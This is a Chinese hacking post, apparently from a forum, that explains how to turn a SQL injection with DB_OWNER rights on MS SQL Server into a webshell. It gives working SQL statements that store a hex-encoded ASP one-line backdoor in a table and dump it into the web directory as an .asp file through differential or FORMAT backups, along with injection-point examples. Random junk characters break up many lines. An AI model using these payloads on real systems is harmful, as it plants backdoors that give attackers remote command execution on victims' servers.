DB_OWNER权限得到webshell的改进办法

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DB_OWNER权限得到webshell的两点改进:

$ n  x4 m4 p# s/ x5 k减少备份文件大小，得到可执行的webshell成功率提高不少
2 O8 E/ |: b$ W4 D7 I* S4 t# A一利用差异备份
7 S# {) [( W/ i0 C7 b7 B3 V3 A8 }2 ]加一个参数WITH DIFFERENTIAL

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* p. o9 x4 @$ | declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
! N  e+ D) |9 C' @% hcreate table [dbo].[xiaolu] ([cmd] [image]);
6 w) z; P7 Z/ [; x' @) {0 q& finsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
# g  z/ l; M7 v" k2 bdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

二利用完全FORMAT
加一个参数WITH FROMAT
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

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# l9 a& a* [, n9 c; T declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
' w& ^5 O/ x) b% J( L, e1 fcreate table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

9 v' ]% ?7 X; `" [5 l: U总的来说就是那么简单几句,下面以备份数据库model为例子
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0 R2 G2 t2 `+ _* k- k' R id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
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id=1;backup database model to disk='你的路径‘ with differential,format;--